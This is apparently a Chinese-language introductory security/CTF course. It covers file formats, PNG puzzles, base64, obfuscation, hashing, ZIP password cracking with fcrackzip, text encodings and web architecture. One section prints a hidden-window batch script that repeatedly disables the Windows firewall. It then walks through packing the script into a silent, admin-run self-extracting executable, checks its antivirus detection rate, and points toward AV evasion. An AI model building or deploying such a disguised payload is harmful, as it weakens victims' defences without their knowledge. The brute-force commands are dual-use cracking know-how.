# 文件格式

文件是信息的基本载体。无论是文本文档、图像、音频、还是可执行程序，每个文件都遵循特定的格式和结构，以便计算机系统能够正确识别、处理和呈现数据。

文件由一大堆 10101110……的二进制码组成，现代大多数电脑的操作系统中，文件是数据的容器，格式主要它的内容定义。

所有文件格式的本质都是二进制文件，这是易于计算机操作的进制格式，而对我们而言，我们时常使用 **十六进制** 对文件进行分析。

本次课程用到的工具是：Hex Editor

## Windows打开后缀显示

windows默认不显示已知文件类型的后缀名，这样很危险。

比如有个文件叫《新建文本文档.txt.exe》，看起来人畜无害的记事本，其实是可执行程序。

![image-20250827171749569](01.计算机基础知识/image-20250827171749569.png)

常见的文件格式

- 视频
  - mp4
  - avi
  - rmvb
- 图片
  - png
  - jpg
  - Gif
- 压缩包
  - Zip
  - Rar
  - tar.gz
  - 7z
- 文档
  - Txt
  - docx
  - pptx
  - xlsx
- 可执行文件
  - Exe
  - Bat
  - Cmd
  - sh
  - msi
  - vbs

## 如何识别未知格式文件？

将文件拖入Hex Editor 查看文件的二进制，可以看到文件的头部信息，这个头部的信息会暴露此文件的类型。

### PNG图片

下图是一个PNG的图片，可以看到开头的二进制，知道这是一个什么格式的文件。

![img](01.计算机基础知识/1756286291184-1.png)

比如有个文件，不知道是怎么打开，就可以用这个办法先看下文件头部，然后网上搜一下，就可以知道这个是什么类型的文件啦。

基于这样的原理，可以做出一个好玩的文件出来：[点此下载](http://ctf.iproute.cn:41100/games/6/challenges)

- 先查看这个文件的二进制，可以发现是png图片

![img](01.计算机基础知识/1756286301348-4.png)

- 改成.png格式，然后就可以看到这个图片了

![img](01.计算机基础知识/1756286301348-5.png)

- 根据提示，我们可以发现这个文件结尾也是PNG格式的头部，说明这个是两张图片倒过来拼接一起的

![img](01.计算机基础知识/1756286301348-6.png)

- 写一个python程序，我们将这个图片给改回来

```Python
a = open("原图片.png","rb").read()
b = open("新生成.png","wb")
b.write(a[::-1])
```

- 然后得到一个二维码，扫描一下就可以拿到flag啦！
- 这种的图片，我们可以使用如下代码生成

```Python
a = open("图片1.png","rb")
b = open("图片2.png","rb")
with open("生成新图片.png", "wb") as f:
    f.write(a.read())
    f.write(b.read()[::-1])
```

#### 图片高度修改

从wiki上查阅：[直达链接](https://en.wikipedia.org/wiki/PNG)

![img](01.计算机基础知识/1756286313360-13.png)

有一张图片：[直达链接](http://ctf.iproute.cn:41100/games/6/challenges)

- 打开发现这个图不完整，明显下面还有东西呀，这个咋搞？

![img](01.计算机基础知识/1756286313360-14.png)

- 修改图片高度

![img](01.计算机基础知识/1756286313360-15.png)

- 保存后成功拿到flag

![img](01.计算机基础知识/1756286313360-16.png)

- 关于格式还有很多可以学习的东西，大家后续要多多加油！

# 加密与编码

## 编码

- 编码通常是为了方便数据的传输和存储，而不注重数据的保密性。

- 编码在线工具：https://iproute.cn/html/encoder/

- 奇怪的编码

  - 阴阳怪气编码：https://github.com/mmdjiji/yygq.js?tab=readme-ov-file
  - 社会主义核心价值观编码：http://www.hiencode.com/cvencode.html
  - 与佛论禅：https://www.keyfc.net/bbs/tools/tudoucode.aspx

  - 提瓦特现行文字对照表：

![img](01.计算机基础知识/1756286324373-25.png)

- 常见的编码

### base64

- base64编码是一种用64个字符来表示任意二进制数据的方法
- Base64编码后的数据比原始数据多约33%，这也是Base64编码的缺点
- 具体转换过程：https://baike.baidu.com/item/base64/8545775?fr=ge_ala
- 使用python可以简单的进行base64编码

```Python
C:\>python
Python 3.11.3 (tags/v3.11.3:f3909b8, Apr  4 2023, 23:49:59) [MSC v.1934 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> print(base64.b64encode(b"Hello World"))
b'SGVsbG8gV29ybGQ='
```

- 使用Python可以进行base64解码

```Python
>>> import base64
>>> print(base64.b64decode("SGVsbG8gV29ybGQ="))
b'Hello World'
```

- 也可以对base64进行换表，常用的标准表为`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`
  - 打乱这个表
  - 用另外的ASCII字符来替换这个表，只要满足表中有 64 个标准元素即可
  - 比如 已知密文“ `SGVsbG*sIFdvcmxkIQ==` ”，自定义表“ `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0!@#$%^&*()-` ”，如何求原文呢？

```Python
>>> print(base64.b64decode("SGVsbG*sIFdvcmxkIQ==".translate(str.maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0!@#$%^&*()-", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"))).decode('utf-8'))
Hello, World!
```

## 代码混淆

- 混淆就是将代码进行伪装，但是却不影响正常运行的一种技术手段
- 常见的代码混淆方法
  - JSfuck(不支持中文) : http://www.hiencode.com/jsfuck.html
  - Brainfuck：http://www.hiencode.com/brain.html
  - JJencode：http://www.hiencode.com/jjencode.html
  - AAEncode：http://www.hiencode.com/aaencode.html

## 加密

- 加密是通过使用密码算法将数据转换为另一种形式，以保护数据的安全性和隐私性。
- 常见的加密算法
  - DES
  - 3DES
  - AES
- 在线加密工具：http://www.esjson.com/

## 散列

- 主要作用是将任意长度的数据（如字符串、文件等）映射为固定长度的值，这个固定长度的值通常被称为哈希值或散列值。这样的映射过程有助于我们快速地定位和处理数据。
- 常见的散列函数
  - md5
  - sha256

- 

# 压缩

- **节省存储空间**：通过压缩文件，可以将原本庞大的文件体积缩小，从而节省宝贵的存储空间。这对于存储大量数据或文件的计算机来说尤为重要。
- **提高传输速度**：在网络传输过程中，较小的文件往往能够更快地到达目的地。因此，压缩文件可以显著提高文件传输的效率，特别是在网络带宽有限的情况下。
- **便于数据管理**：压缩可以将多个文件合并成一个文件，便于用户进行统一管理和操作。同时，压缩文件还可以设置密码保护，增强文件的安全性。
- 常见的压缩包格式
  - zip
  - rar
  - tar.gz

## 加密压缩与爆破

- 在创建压缩文件的时候，可以设置密码

![img](01.计算机基础知识/1756286349204-28.png)

- 在解压的时候如果不知道密码，可以用最简单的方式去搞定，暴力破解

![img](01.计算机基础知识/1756286349204-29.png)

- 常见压缩包暴力破解软件
  - ARCHPR：[点此下载](http://mc.iproute.cn:31010/#s/-_NtSdPA)
  - Ziperello
  - fcrackzip

```Bash
# fcrackzip命令示例
# 暴力破解 hello.zip ，密码为数字 + 大小写字母，长度为 1-10
fcrackzip -b -c 'aA1' -l 1-10 -u hello.zip

# 暴力破解 ctf.zip ，密码为纯数字，长度为 3
fcrackzip -b -c'1' -l 3 -u ctf.zip 

# 用 rockyou.txt 作为字典爆破 flag.zip
fcrackzip  -D -p rockyou.txt -u flag.zip
```

- 破解成功示例

![img](01.计算机基础知识/1756286349204-30.png)

## 自解压文件

自解压文件是一种特殊的压缩文件，其最大的特点是无需借助任何压缩工具，只需双击该文件即可自动执行解压缩操作。由于内置了自解压程序，自解压文件的体积通常会比普通压缩文件稍大。但它的优点在于，即使在没有安装压缩软件的计算机上，也能顺利打开和解压缩文件。自解压文件的后缀名通常为.exe，结合了可执行文件模块，使得解压缩过程无需外部程序的参与，能够自行完成。此外，通过一定的设置，自解压文件还可以实现点击图标即自动运行特定程序或文件的功能，进一步简化了文件分发与执行流程。

- 提前准备好如图的文件，[点此获取](http://mc.iproute.cn:31010/#s/-_N13ZIQ)

![img](01.计算机基础知识/1756286349204-31.png)

- 其中恶搞代码如下
  - 隐藏cmd运行的黑色框框
  - 一个无限循环
    - 关闭防火墙
    - 桌面上创建一个记事本
    - 打开计算器
    - 等待10秒
  - 需要管理员权限才能运行

```Bash
@echo off 
if "%1"=="h" goto begin 
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit 
:begin
:loop
    netsh advfirewall set allprofiles state off
    echo This is a test > %userprofile%\Desktop\testfile.txt
    calc
    timeout /t 10
goto loop
```

- 压缩bat文件，然后创建自解压文件。

![img](01.计算机基础知识/1756286349204-32.png)

- 选择自解压选项

![img](01.计算机基础知识/1756286349204-33.png)

- 设置解压后自动运行这个程序，本次就解压到当前目录，也可以解压到一个很隐蔽的目录中

![img](01.计算机基础知识/1756286349204-34.png)

- 模式选择全隐藏，这样就不会有任何提示，直接执行我们准备好的程序

![img](01.计算机基础知识/1756286349204-35.png)

- 更新这边直接选择覆盖，以免反复执行出现是否覆盖的提示

![img](01.计算机基础知识/1756286349204-36.png)

- 可以在属性中设置，以管理员身份运行

![image-20250828143445926](01.计算机基础知识/image-20250828143445926.png)

- 自解压程序创建好了后，可以进行查杀，可以看到是8/48，有部分杀毒软件是能查出来的，比如360。
  - 想要真正做到免杀，还得后续好好学习呀！

![img](01.计算机基础知识/1756286349204-37.png)

- 最后自己去测试效果吧

# 文字编码

## ASCII

ASCII编码（American Standard Code for Information Interchange，美国信息交换标准代码）是基于拉丁字母的一套电脑编码系统，主要用于显示现代英语和其他西欧语言。它是最通用的信息交换标准，并等同于国际标准ISO/IEC 646。ASCII第一次以规范标准的类型发表是在1967年，最后一次更新则是在1986年，到目前为止共定义了128个字符。

![img](01.计算机基础知识/1756286360385-58.png)

## UTF-8

**UTF-8编码是一种基于Unicode的可变长度字符编码**，用以在单字节到四字节之间表示每一个Unicode符号，使得全世界各种语言的字符都能在计算机中得到唯一且统一的表示。其主要特点如下：

1. **可变长度**：UTF-8使用1到4个字节来表示Unicode字符，根据字符在Unicode中的位置决定所需的字节数量。对于ASCII字符集中的7位字符，它仅用一个字节存储，与ASCII编码完全兼容。
2. **编码规则**：对于ASCII字符（U+0000至U+007F），UTF-8编码与ASCII编码相同，即单字节编码，最高位为0。对于非ASCII字符，UTF-8采用多个字节进行编码，每个字节除了高位用来标识这是一个多字节序列的一部分外，其余位包含实际字符编码信息。
3. **优点**：

- **兼容ASCII**：对于只包含ASCII字符的文本，UTF-8和ASCII编码是相同的，因此对现有系统的影响最小。
- **无字节顺序问题**：解决了乱码问题，确保了跨语言文本的正确处理。

UTF-8编码广泛应用于各种计算机系统和网络中，包括Web页面、电子邮件、文件系统以及数据库等，已经成为互联网使用最广泛的字符编码标准之一。

## GBK

GBK编码是一种多字节的字符编码方式，由中国国家标准GB2312进行了扩展。它主要用于在计算机系统中存储、传输和显示中文字符，尤其在中文信息处理、数据交换和存储方面具有重要意义。GBK编码包含了GB2312标准中的全部汉字，并加入了许多其他汉字和符号，共收录了21003个中日韩汉字和符号。在GBK编码中，汉字使用2个字节表示，而英文字母、数字、标点等其他字符则只占用1个字节，其编码值与ASCII码相同。这种编码方式使得GBK编码特别适用于中文语境下的字符编码和文本处理。它是中国输入法、操作系统和应用程序中使用最广泛的字符编码之一。

请注意，虽然GBK编码在中文环境下非常常用，但它并不是全球通用的字符编码标准。随着国际化进程的推进和UTF-8编码的普及，越来越多的场景开始使用UTF-8编码来支持多语言内容。

# 网站服务

## BS架构

浏览器BS架构，全称为Browser/Server，即浏览器/服务器结构。在这种架构下，用户工作界面是通过WWW浏览器来实现，主要事务逻辑在服务器端实现，客户端的浏览器只负责显示页面和与用户进行交互。BS架构是WEB兴起后的一种网络架构模式，WEB浏览器是客户端最主要的应用软件。BS架构统一了客户端，将系统功能实现的核心部分集中到服务器上，简化了系统的开发、维护和使用。同时，浏览器通过Web Server同数据库进行数据交互，大大简化了客户端电脑载荷，降低了用户的总体成本。

## 前端

前端主要是指网站或Web应用程序的用户界面部分，负责展示数据和与用户进行交互。它是用户直接接触和感知到的部分，包括网页的布局、样式和交互功能。在计算机领域，前端开发也称为客户端开发，主要涉及使用HTML、CSS和JavaScript等技术来创建网页或应用程序的用户界面，使用户能够与网站或应用程序进行交互并获取所需的信息。前端开发人员通常负责确保网站或应用程序的用户界面具有良好的用户体验，并与后端开发人员协作以实现完整的应用程序功能。

## 后端

后端主要是指服务器端的开发，涉及数据的存储、处理和传输等核心功能。后端开发人员通常使用各种编程语言和技术，如Java、Python、Node.js等，来构建服务器端的应用程序。他们负责处理来自前端或其他客户端的请求，与数据库进行交互，执行相应的业务逻辑，并将结果返回给前端或其他客户端。后端开发还包括确保数据的安全性、可靠性和性能等方面的考虑。在开发过程中，后端开发人员需要与前端开发人员紧密合作，以确保前后端之间的数据交互和业务流程的顺畅进行。

## 数据库

数据(data)是事实或观察的结果，是对客观事物的逻辑归纳，是用于表示客观事物的未经加工的的原始素材。

数据可以是连续的值，比如声音、图像，称为模拟数据。也可以是离散的，如符号、文字，称为数字数据。

在计算机系统中，数据以二进制信息单元0,1的形式表示。

**数据的定义:**数据是指对客观事件进行记录并可以鉴别的符号，是对客观事物的性质、状态以及相互关系等进行记载的物理符号或这些物理符号的组合。它是可识别的、抽象的符号。

DBMS（database management system）

![img](01.计算机基础知识/1756286360386-59.png)